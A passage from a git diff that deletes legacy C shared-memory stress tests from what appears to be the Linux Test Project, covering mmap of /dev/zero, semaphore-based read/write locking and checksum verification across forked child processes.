-		if ((pid[i] = fork()) == (pid_t) 0) {
-			child(i, shmptr);
-			exit(0);
-		} else if (pid[i] < (pid_t) 0)
-			sys_error("fork failed", __LINE__);
-	}
-
-	/*
-	 * Wait for child processes to compute checksum and complete...
-	 */
-	for (i = 0; i < num_children; i++) {
-		waitpid(pid[i], &status, 0);
-
-		if (!WIFEXITED(status))
-			sys_error("child process terminated abnormally",
-				  __LINE__);
-		if (cksum != *(checksum + (sizeof(unsigned long) * i))) {
-			printf("checksum [%d] = %08lx\n", i, checksum[i]);
-			error("checksums do not match", __LINE__);
-		}
-	}
-	printf("\n\tParent: children calculated segment successfully\n");
-	/*
-	 * Program completed successfully -- exit
-	 */
-	printf("\nsuccessful!\n");
-
-	return (0);
-}
-
-static void child(int num, unsigned char *shmptr)
-{
-	unsigned long cksum = 0;
-	int i;
-
-	read_lock(lockfd);
-	for (i = 0; i < buffer_size; i++)
-		cksum += *shmptr++;
-	unlock_file(lockfd);
-
-	*(checksum + (sizeof(unsigned long) * num)) = cksum;
-	printf("\t\tchild (%02d): checksum %08lx\n", num,
-	       *(checksum + (sizeof(unsigned long) * num)));
-}
-
-static void write_lock(int fd)
-{
-	if (lockf(fd, F_LOCK, 0) < 0)
-		sys_error("lockf (LOCK) failed", __LINE__);
-}
-
-static void read_lock(int fd)
-{
-	if (lockf(fd, F_TEST, 0) < 0)
-		sys_error("lockf (LOCK) failed", __LINE__);
-}
-
-static void unlock_file(int fd)
-{
-	if (lockf(fd, F_ULOCK, 0) < 0)
-		sys_error("lockf (UNLOCK) failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                          setup_handler ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Setup the signal handler for SIGPIPE.                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void setup_signal_handlers()
-{
-	struct sigaction invec;
-
-	invec.sa_handler = (void (*)(int))handler;
-	sigemptyset(&invec.sa_mask);
-	invec.sa_flags = 0;
-
-	if (sigaction(SIGINT, &invec, NULL) < 0)
-		sys_error("sigaction failed", __LINE__);
-
-}
-
-/*---------------------------------------------------------------------+
-|                             handler ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Signal catching function for SIGPIPE signal.              |
-|                                                                      |
-|            o  SIGPIPE: Print message and abort program...            |
-|                                                                      |
-|            o  SIGINT:  Parent process calls cleanup, child processes |
-|                        simply exit                                   |
-|                                                                      |
-|            o  Other:   Print message and abort program...            |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void handler(int sig, int code, struct sigcontext *scp)
-{
-	char msg[100];		/* Buffer for error message */
-
-	if (sig == SIGINT) {
-		if (getpid() == parent_pid) {
-
-			fprintf(stderr, "Received SIGINT -- cleaning up...\n");
-			fflush(stderr);
-
-			cleanup();
-		} else
-			exit(-1);
-	} else {
-		sprintf(msg, "Received an unexpected signal (%d)", sig);
-		error(msg, __LINE__);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             cleanup ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Closes all of the pipes, kills all of the child           |
-|            processes and exits the program...                        |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void cleanup()
-{
-	int i;
-
-	if (getpid() == parent_pid) {
-		for (i = 0; i < num_children; i++) {
-			if (pid[i] > (pid_t) 0 && kill(pid[i], SIGKILL) < 0)
-				sys_error("signal failed", __LINE__);
-		}
-	}
-
-	exit(-1);
-}
-
-static int create_lock_file(char *lock_name)
-{
-	int fd;
-
-	if ((fd = open(lock_name, O_RDWR)) < 0) {
-		if ((fd = open(lock_name, O_RDWR | O_CREAT | O_EXCL, 0666)) < 0) {
-			perror("cannot create lock file");
-			exit(-1);
-		}
-	}
-	return (fd);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-s] size: shared memory segment size                     |
-|                                                                      |
-|            [-c] num_children: number of child processes              |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void parse_args(int argc, char **argv)
-{
-	int i;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	while ((i = getopt(argc, argv, "c:s:?")) != EOF) {
-		switch (i) {
-		case 'c':
-			num_children = atoi(optarg);
-			break;
-		case 's':
-			buffer_size = atoi(optarg);
-			break;
-		case '?':
-			errflag++;
-			break;
-		}
-	}
-
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	cleanup();
-}
diff --git a/testcases/kernel/ipc/ipc_stress/shmem_test_03.c b/testcases/kernel/ipc/ipc_stress/shmem_test_03.c
deleted file mode 100644
index 8be156f..0000000
--- a/testcases/kernel/ipc/ipc_stress/shmem_test_03.c
+++ /dev/null
@@ -1,579 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                           shmem_test_03                              |
-| ==================================================================== |
-|                                                                      |
-| Description:  Verify shared memory mapping of /dev/zero with         |
-|               exclusive writes and shared reads using semaphores     |
-|               as the synchronization method.                         |
-|                                                                      |
-| Algorithm:    o  Obtain three shared memory segments by mapping      |
-|                  /dev/zero, one for random data created by the       |
-|                  parent, another for the childs checksums, and the   |
-|                  last for the read count (number of child processes  |
-|                  reading the data).                                  |
-|               o  Spawn N child processes                             |
-|               o  Parent:                                             |
-|                     - obtain write lock (exclusive) on data          |
-|                     - fill shared memory segment with data           |
-|                     - compute data checksum                          |
-|                     - release lock                                   |
-|               o  Child:                                              |
-|                     - obtain read lock (shared) on data              |
-|                     - compute data checksum                          |
-|                     - release lock                                   |
-|                     - store checksum in other shared memory segment  |
-|               o  Parent:                                             |
-|                     - wait for child proceeses to complete           |
-|                     - compare child's checksum (from shared memory)  |
-|                       with that of the parent                        |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               mmap () - Maps a file-system object into memory        |
-|               semget () - Gets a set of semaphores                   |
-|               semctl () - Controls semaphore operations              |
-|               semop () - Preforms semaphore operations               |
-|                                                                      |
-| Usage:        shmem_test_03 [-c num_children] [-s shmem_size]        |
-|                                                                      |
-| To compile:   cc -o shmem_test_03 shmem_test_03.c                    |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/8/94 00:08:45                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     012093  DJK   Initial version for AIX 4.1                 |
-|    1.2     020794  DJK   Moved to "prod" directory                   |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <limits.h>
-#include <fcntl.h>
-#include <sys/file.h>
-#include <sys/ipc.h>
-#include <sys/mman.h>
-#include <sys/sem.h>
-#include <sys/signal.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include "lapi/semun.h"
-
-/* Defines
- *
- * USAGE: usage statement
- */
-#define MAX_CHILDREN		400
-#define DEFAULT_NUM_CHILDREN	2
-#define DEFAULT_SHMEM_SIZE	100000
-#define USAGE	"\nUsage: %s [-c num_children] [-s shmem_size]\n\n" \
-		"\t-c num_children   number of child processes to spawn\n" \
-		"\t-s shmem_size     size of shared memory segment (bytes)\n" \
-		"\t                  (must be less than 256MB!)\n\n"
-
-/*
- * Function prototypes
- *
- * create_semaphores (): Create semaphores for synchorizing memory accesses
- * delete_semaphores (): Delete the semaphores
- * lock_resource (): Obtains the resource (shared memory segment)
- * unlock_resource (): Releases the resource (shared memory segment)
- * parse_args (): Parse command line arguments
- * setup_signal_handlers (): Setup the signal catching function
- * handler (): Signal catching function
- * child (): Child process
- * sys_error (): System error message function
- * error (): Error message function
- * cleanup (): Releases semaphores & kills child processes
- */
-static void create_semaphores();
-static void delete_semaphores();
-static void lock_resource(int);
-static void unlock_resource(int);
-static void parse_args(int, char **);
-static void setup_signal_handlers();
-static void handler(int, int, struct sigcontext *);
-static void child(int, unsigned char *);
-static void sys_error(const char *, int);
-static void error(const char *, int);
-static void cleanup();
-
-/*
- * Global Variables:
- *
- * checksum: Array of checksums computed by child processes
- * parent_pid: Process id of the parent
- * pid: Array of child process id's
- * semid: System wide unique shared memory identifier
- * num_children: number of child processes to spawn
- * buffer_size: size of "scratch" shared memory segment
- * read_count: number of child processes reading data
- */
-enum { READ_COUNT, WRITE };	/* semaphore constants */
-int *read_count;
-
-unsigned long *checksum;	/* shared memory segment address */
-pid_t parent_pid;		/* process id of parent */
-pid_t pid[MAX_CHILDREN];	/* child processes process id's */
-int semid;			/* semaphore id */
-int num_children = DEFAULT_NUM_CHILDREN;
-int buffer_size = DEFAULT_SHMEM_SIZE;
-
-union semun arg;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	int fd;			/* Misc file descriptor  */
-	int i;			/* Misc loop index */
-	int shmem_size;		/* Size (in bytes) of shared memory segment */
-	int status;		/* Child processes exit status */
-	unsigned char *ptr;	/* Misc pointer */
-	unsigned char data = 0;	/* Value written into shared memory segment */
-	unsigned char *shmptr;	/* Shared memory segment address */
-	unsigned long cksum;	/* Shared memory segment checksum */
-
-	/*
-	 * Parse command line arguments and print out program header
-	 */
-	parse_args(argc, argv);
-	printf("%s: IPC Shared Memory TestSuite program\n", *argv);
-
-	/*
-	 * Setup the signal handlers (in case user aborts program).
-	 *
-	 * Create the semaphores to insure exclusive writes to the
-	 * shared memory segment.
-	 *
-	 * Save the parent process id and initialize the array of child
-	 * process ids.
-	 */
-	setup_signal_handlers();
-	create_semaphores();
-
-	parent_pid = getpid();
-	for (i = 0; i < num_children; i++)
-		pid[i] = (pid_t) 0;
-
-	/*
-	 * Create a shared memory segment for storing the read count
-	 * (number of child processes reading shared data)
-	 * After creating the shared memory segment, initialize it.
-	 */
-	if ((fd = open("/dev/zero", O_RDWR)) < 0)
-		sys_error("open failed", __LINE__);
-	if ((read_count = (int *)
-	     mmap(0, sizeof(int), PROT_READ | PROT_WRITE,
-		  MAP_SHARED, fd, 0)) < 0)
-		sys_error("mmap failed", __LINE__);
-	close(fd);
-	*read_count = 0;
-
-	/*
-	 * Create a shared memory segment for storing the child
-	 * processes checksums by memory mapping /dev/zero.
-	 * After creating the shared memory segment, initialize it.
-	 */
-	if ((fd = open("/dev/zero", O_RDWR)) < 0)
-		sys_error("open failed", __LINE__);
-	shmem_size = sizeof(unsigned long) * num_children;
-	if ((checksum = (unsigned long *)
-	     mmap(0, shmem_size, PROT_READ | PROT_WRITE,
-		  MAP_SHARED, fd, 0)) < 0)
-		sys_error("mmap failed", __LINE__);
-	close(fd);
-
-	for (i = 0; i < num_children; i++)
-		*(checksum + (sizeof(unsigned long) * i)) = 0;
-
-	/*
-	 * Create the "scratch" shared memory segment for storing
-	 * a series of values by memory mapping /dev/zero.
-	 */
-	if ((fd = open("/dev/zero", O_RDWR)) < 0)
-		sys_error("open failed", __LINE__);
-
-	printf("\n\tGet shared memory segment (%d bytes)\n", buffer_size);
-	if ((shmptr = mmap(0, buffer_size, PROT_READ | PROT_WRITE,
-			   MAP_SHARED, fd, 0)) < 0)
-		sys_error("mmap failed", __LINE__);
-	close(fd);
-
-	/*
-	 * Obtain an exclusive "write" lock on the shared memory data
-	 * segment -- get lock now to insure the parent process gets
-	 * first access to the segment.
-	 */
-	lock_resource(WRITE);
-
-	/*
-	 * Spawn all N child processes.  Each child process will compute
-	 * the checksum of the shared memory segment and will store
-	 * the results in the other shared memory segment accessible
-	 * by the parent.
-	 */
-	printf("\n\tSpawning %d child processes ... \n", num_children);
-	for (i = 0; i < num_children; i++) {
-
-		if ((pid[i] = fork()) == (pid_t) 0) {
-			child(i, shmptr);
-			exit(0);
-		} else if (pid[i] < (pid_t) 0)
-			sys_error("fork failed", __LINE__);
-	}
-
-	/*
-	 * Fill the "scratch" shared memory segment up with data and
-	 * compute the segments checksum.  Release "write" lock after
-	 * completing so that the child processes may begin to read the
-	 * data.
-	 */
-	printf("\n\tParent: calculate shared memory segment checksum\n");
-	cksum = data = 0;
-
-	for (ptr = shmptr; ptr < (shmptr + buffer_size); ptr++) {
-		*ptr = (data++) % (UCHAR_MAX + 1);
-		cksum += *ptr;
-	}
-	printf("\t        shared memory checksum %08lx\n", cksum);
-	unlock_resource(WRITE);
-
-	/*
-	 * Wait for the child processes to compute the checksums and complete.
-	 * After the processes complete, check their exit status to insure
-	 * that they ran to completion and then verify the corresponding
-	 * checksum.
-	 */
-	for (i = 0; i < num_children; i++) {
-		waitpid(pid[i], &status, 0);
-
-		if (!WIFEXITED(status))
-			sys_error("child process terminated abnormally",
-				  __LINE__);
-		if (cksum != *(checksum + (sizeof(unsigned long) * i))) {
-			printf("checksum [%d] = %08lx\n", i, checksum[i]);
-			error("checksums do not match", __LINE__);
-		}
-	}
-	printf("\n\tParent: children calculated segment successfully\n");
-
-	/*
-	 * Program completed successfully, cleanup semaphores and exit.
-	 */
-	delete_semaphores();
-	printf("\nsuccessful!\n");
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                               child ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Waits for read access to the shared memory segment,       |
-|            computes the shared memory segments checksum and releases |
-|            the read lock.  Then stores the checksum.                 |
-|                                                                      |
-| Updates:   checksum - shared memory segment containing checksums     |
-|                       computed by child processes                    |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void child(int num, unsigned char *shmptr)
-{
-	unsigned long cksum = 0;	/* Shared memory regions checksum */
-	int i;			/* Misc index */
-
-	/*
-	 * Wait for a READ_COUNT lock on the shared memory segment, then
-	 * compute the checksum and release the READ_COUNT lock.
-	 */
-	lock_resource(READ_COUNT);
-	(*read_count)++;
-	if (*read_count == 1)
-		lock_resource(WRITE);
-	unlock_resource(READ_COUNT);
-
-	for (i = 0; i < buffer_size; i++)
-		cksum += *shmptr++;
-
-	lock_resource(READ_COUNT);
-	(*read_count)--;
-	if (*read_count == 0)
-		unlock_resource(WRITE);
-	unlock_resource(READ_COUNT);
-
-	/*
-	 * Store the resulting checksum and print out a message
-	 */
-	checksum[num] = cksum;
-	*(checksum + (sizeof(unsigned long) * num)) = cksum;
-	printf("\t\tchild (%02d): checksum %08lx\n", num,
-	       *(checksum + (sizeof(unsigned long) * num)));
-}
-
-/*---------------------------------------------------------------------+
-|                          create_semaphores ()                        |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates two semaphores:                                   |
-|                                                                      |
-|            READ_COUNT: shared read semaphore                         |
-|            WRITE:      exclusive write semaphore                     |
-|                                                                      |
-| Updates:   semid - system wide semaphore identifier                  |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void create_semaphores()
-{
-	int nsems = 2;		/* Number of semaphores to create */
-
-	/*
-	 * Create two system unique semaphores.
-	 */
-	if ((semid = semget(IPC_PRIVATE, nsems, IPC_CREAT | 0666)) < 0)
-		sys_error("semget failed", __LINE__);
-
-	arg.val = 1;
-	if (semctl(semid, WRITE, SETVAL, arg) < 0)
-		sys_error("semctl (SETVAL) failed", __LINE__);
-	if (semctl(semid, READ_COUNT, SETVAL, arg) < 0)
-		sys_error("semctl (SETVAL) failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                          delete_semaphores ()                        |
-| ==================================================================== |
-|                                                                      |
-| Function:  Deletes the two READ/WRITE semaphores.                    |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void delete_semaphores()
-{
-	int nsems = 2;
-
-	/*
-	 * Delete both READ_COUNT and WRITE semaphores.
-	 */
-
-	arg.val = 0;
-	if (semctl(semid, nsems, IPC_RMID, arg) < 0)
-		sys_error("semctl (IPC_RMID) failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                          lock_resource ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Obtains a READ/WRITE semaphore lock.                      |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void lock_resource(int semaphore)
-{
-	struct sembuf buf;
-
-	buf.sem_op = -1;	/* Obtain resource */
-	buf.sem_num = semaphore;
-	buf.sem_flg = 0;
-
-	if (semop(semid, &buf, 1) < 0)
-		sys_error("semop (LOCK) failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                          unlock_resource ()                          |
-| ==================================================================== |
-|                                                                      |
-| Function:  Releases a READ/WRITE semaphore lock.                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void unlock_resource(int semaphore)
-{
-	struct sembuf buf;
-
-	buf.sem_op = 1;		/* Release resource */
-	buf.sem_num = semaphore;
-	buf.sem_flg = 0;
-
-	if (semop(semid, &buf, 1) < 0)
-		sys_error("semop (UNLOCK) failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-s] size: shared memory segment size                     |
-|                                                                      |
-|            [-c] num_children: number of child processes              |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void parse_args(int argc, char **argv)
-{
-	int i;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	while ((i = getopt(argc, argv, "c:s:?")) != EOF) {
-		switch (i) {
-		case 'c':
-			num_children = atoi(optarg);
-			break;
-		case 's':
-			buffer_size = atoi(optarg);
-			break;
-		case '?':
-			errflag++;
-			break;
-		}
-	}
-	if (num_children >= MAX_CHILDREN) {
-		errflag++;
-		fprintf(stderr, "ERROR: num_children must be less than %d\n",
-			MAX_CHILDREN);
-	}
-
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                          setup_handler ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Setup the signal handler for SIGINT.                      |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void setup_signal_handlers()
-{
-	struct sigaction invec;
-
-	invec.sa_handler = (void (*)(int))handler;
-	sigemptyset(&invec.sa_mask);
-	invec.sa_flags = 0;
-
-	if (sigaction(SIGINT, &invec, NULL) < 0)
-		sys_error("sigaction failed", __LINE__);
-
-}
-
-/*---------------------------------------------------------------------+
-|                             handler ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Signal catching function for SIGINT signal                |
-|                                                                      |
-|            o  SIGINT:  Parent process calls cleanup, child processes |
-|                        simply exit                                   |
-|                                                                      |
-|            o  Other:   Print message and abort program...            |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void handler(int sig, int code, struct sigcontext *scp)
-{
-	char msg[100];		/* Buffer for error message */
-
-	if (sig == SIGINT) {
-		if (getpid() == parent_pid) {
-
-			fprintf(stderr, "Received SIGINT -- cleaning up...\n");
-			fflush(stderr);
-
-			cleanup();
-		} else
-			exit(-1);
-	} else {
-		sprintf(msg, "Received an unexpected signal (%d)", sig);
-		error(msg, __LINE__);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             cleanup ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Closes all of the pipes, kills all of the child           |
-|            processes and exits the program...                        |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void cleanup()
-{
-	int i;
-
-	if (getpid() == parent_pid) {
-		delete_semaphores();
-		for (i = 0; i < num_children; i++) {
-			if (pid[i] > (pid_t) 0 && kill(pid[i], SIGKILL) < 0)
-				sys_error("signal failed", __LINE__);
-		}
-	}
-
-	exit(-1);
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	cleanup();
-}
diff --git a/testcases/kernel/ipc/ipc_stress/shmem_test_04.c b/testcases/kernel/ipc/ipc_stress/shmem_test_04.c
deleted file mode 100644
index 72c2e60..0000000
--- a/testcases/kernel/ipc/ipc_stress/shmem_test_04.c
+++ /dev/null
@@ -1,703 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                           shmem_test_04                              |
-| ==================================================================== |
-|                                                                      |
-| Description:  Test to verify mapping a file into memory (can also    |
-|               be used as another anonymous shared memory test).      |
-|                                                                      |
-| Algorithm:    o  Create a file and map it into memory                |
-|               o  Fork N processes                                    |
-|               o  Each process writes ordered values to the memory    |
-|                  segment and calculates a corresponding checksum     |
-|               o  Each process then reads the values from the memory  |
-|                  segment, checks the value and creates a comparison  |
-|                  checksum                                            |
-|               o  Verify checksums match                              |
-|               o  Unmap file                                          |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               mmap () - maps a file-system object into virtual       |
-|                         memory                                       |
-|               munmap () - unmaps a memory region                     |
-|                                                                      |
-| Usage:        shmem_test_04                                          |
-|                                                                      |
-| To Compile:   cc -O -o shmem_test_04 shmem_test_04.c                 |
-|                                                                      |
-| Last update:  Ver. 1.3, 1/30/94 00:40:27                            |
-|                                                                      |
-| Author:       Scott Porter (scott@austin.ibm.com)                    |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     070193  SLP   Initial version for AIX 3.2.5 VMM testing   |
-|    0.2     011194  DJK   Modified for AIX 4.1 testing                |
-|    1.2     020794  DJK   Moved to "prod" directory                   |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <unistd.h>
-#include <errno.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <fcntl.h>
-#include <signal.h>
-#include <stdint.h>
-#include <sys/mman.h>
-
-#ifdef _LINUX_
-typedef unsigned long ulong_t;
-//#include <sys/except.h>
-#ifndef PAGE_SIZE
-#define PAGE_SIZE 0x400
-#endif
-#ifndef SIGDANGER
-#define SIGDANGER 4
-#endif
-#else
-#include <sys/m_except.h>
-#include <sys/machine.h>
-#endif
-
-#ifdef _IA64
-#include "dsi.h"
-#endif
-
-/* Defines
- *
- * USAGE: usage statement
- */
-#define	TEMPDIR		"."
-#define	TEMPNAME	"tmpfile"
-
-#define MB		(1024*1024)
-#define WPERMB		(MB/sizeof(int))
-
-#define FILEOBJ		1
-#define MEMOBJ		2
-
-#define MAXPROCS	1000
-#define USAGE	"\nUsage: %s [{-F | M}] [-l nloops] [-p nprocs] \n"	\
-		"\t[{-m totmegs | -b totbytes}] [-v] [-W]\n\n"	\
-		"\t-F          Map a file\n"	\
-		"\t-M          Map annonymous memory\n"	\
-		"\t-l nloops   Number of loops\n"	\
-		"\t-p nprocs   Number of processes\n"	\
-		"\t-m totmegs  Length in MB\n"	\
-		"\t-b totbytes Length in bytes\n"	\
-		"\t-v          Verbose\n"	\
-		"\t-W          Allocate to pgsp warning level\n\n"
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- */
-static int mkemptyfile(uint);
-static void parse_args(int, char **);
-static void cleanup(int);
-static void setup_signal_handlers();
-static void int_handler(int signal);
-static void segv_handler(int signal, int code, struct sigcontext *scp);
-static void bus_handler(int signal, int code, struct sigcontext *scp);
-static void sys_error(const char *, int);
-static void error(const char *, int);
-
-/*
- * Global variables
- *
- * *flg: command line parsing variables
- * filename:
- * fd:
- * nprocs:
- * childpid:
- */
-static int bflg, lflg, mflg, pflg = 0;
-static int Fflg, Mflg, Vflg, Wflg = 0;
-char *filename;
-int fd;
-int nprocs;
-int childpid[MAXPROCS];
-
-int nloops, objtype, pgspblks;
-pid_t parent_pid;
-size_t length;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	caddr_t region;
-	int *wptr;
-	int rc;
-	int word, nwords, addr, last, checksum, checksum2;
-	int loop;
-	pid_t pid;
-	int proc;
-	int fd;
-	int map_flags;
-
-	/*
-	 * Parse command line arguments and print out program header
-	 */
-	parse_args(argc, argv);
-	printf("%s: IPC Shared Memory TestSuite program\n", *argv);
-
-	setup_signal_handlers();
-	parent_pid = getpid();
-
-	/*
-	 * Show options in effect.
-	 */
-	printf("\n\tObject type to map = %s\n",
-	       (objtype == MEMOBJ) ? "Anonymous memory" : "File");
-	printf("\tNumber of loops    = %d\n", nloops);
-	printf("\tNumber of procs    = %d\n", nprocs);
-	printf("\tBytes per process  = %ld (%ldMB)\n", (long)length,
-	       (long)length / MB);
-
-	/*
-	 * Determine the number of words for that size.
-	 */
-	nwords = length / sizeof(int);
-
-	/*
-	 * Create shared memory mapping before forking
-	 */
-	if (objtype == FILEOBJ) {
-		fd = mkemptyfile(length);
-		map_flags = MAP_FILE;
-	} else {
-		fd = -1;
-		map_flags = MAP_ANONYMOUS;
-	}
-
-	/*
-	 * Map the object with the specified flags.
-	 */
-	if ((region = mmap(0, length, PROT_READ | PROT_WRITE,
-			   map_flags | MAP_SHARED, fd, 0))
-	    == MAP_FAILED) {
-		sys_error("mmap failed", __LINE__);
-	}
-
-	/*
-	 * Fork off the additional processes.
-	 */
-	for (proc = 1; proc < nprocs; proc++) {
-		/*
-		 * Child leaves loop, parent continues to fork.
-		 */
-		if ((pid = fork()) < (pid_t) 0) {
-			sys_error("fork failed\n", __LINE__);
-		} else if (pid == 0)
-			break;
-		else
-			childpid[proc] = pid;
-	}
-
-	pid = getpid();
-
-	/*
-	 * Initialize each word in the region with a unique value.
-	 */
-	checksum = 0;
-	for (word = 0, wptr = (int *)region; word < nwords; word++, wptr++) {
-		if (Vflg) {
-			if (word && word % WPERMB == 0)
-				printf("\t[%d] %ldMB initialized...\n",
-				       pid, (long)word / WPERMB);
-		}
-		*wptr = word;
-		checksum += word;
-	}
-	if (Vflg) {
-		printf("\t[%d] checksum = %d\n", pid, checksum);
-	}
-
-	for (loop = 1; loop <= nloops; loop++) {
-
-		/*
-		 * Read back each word in the region and check its value.
-		 */
-		checksum2 = 0;
-		last = -1;
-		for (word = 0, wptr = (int *)region; word < nwords;
-		     word++, wptr++) {
-			if (Vflg) {
-				if (word && word % WPERMB == 0)
-					printf("\t[%d][%d] %ldMB verified...\n",
-					       pid, loop, (long)word / WPERMB);
-			}
-			if (*wptr != word) {
-				addr = ((intptr_t) wptr & 0x0fffffff) / 4096;
-				if (addr != last) {
-					last = addr;
-					if (Vflg) {
-						printf
-						    ("\t[%d][%d] page in error at addr = %d\n",
-						     pid, loop, addr);
-					}
-				}
-				if (Vflg) {
-					printf
-					    ("\t[%d][%d] Word = %d, Value = %d\n",
-					     pid, loop, word, *wptr);
-				}
-			}
-			checksum2 += *wptr;
-		}
-		if (Vflg) {
-			printf("\t[%d][%d] checksum2 = %d\n", pid, loop,
-			       checksum2);
-		}
-
-		if (checksum2 == checksum) {
-			if (Vflg) {
-				printf("\t[%d][%d] Check sums compare\n", pid,
-				       loop);
-			}
-		} else {
-			if (Vflg) {
